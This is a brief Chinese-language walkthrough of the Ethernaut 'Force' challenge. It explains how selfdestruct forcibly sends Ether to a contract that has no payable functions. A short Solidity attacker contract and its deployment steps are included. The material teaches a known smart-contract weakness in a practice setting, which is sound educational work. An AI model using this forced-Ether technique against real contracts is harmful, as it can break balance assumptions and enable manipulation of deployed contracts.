Force
Force.sol
SeleDestruct
- 让Force合约大于0
- 合约作为空合约
- 没有
payable修饰的constructor构造函数,无法在合约部署过程中发送余额
- 合约没有
receive()/payable修饰的fallback()函数,无法正常接收余额
- 强制销毁当前合约并强制转账当前合约余额的字节码:
selfdestruct
selfdestruct(_addr); // 销毁当前合约并将当前合约余额发送到提供的地址
contract destroyRobot {
constructor() payable {}
function killself(Force force) public {
selfdestruct(payable(address(force)));
}
receive() external payable {}
}
- 允许在合约部署过程以及征程接收
Ether
- 定义
killself函数,实现自毁并强制转移资产
- 、编译部署
Force合约,部署 destroyRobot合约
Force 合约 余额为0
destroyRobot余额为0。
- 转账任意Ether到
destroyRobot合约,destroyRobot余额不为0
- 执行
destroyRobot合约的killself()函数注册销毁,并将余额全部转到 Force合约
Force合约强制接收 destroyRobot的余额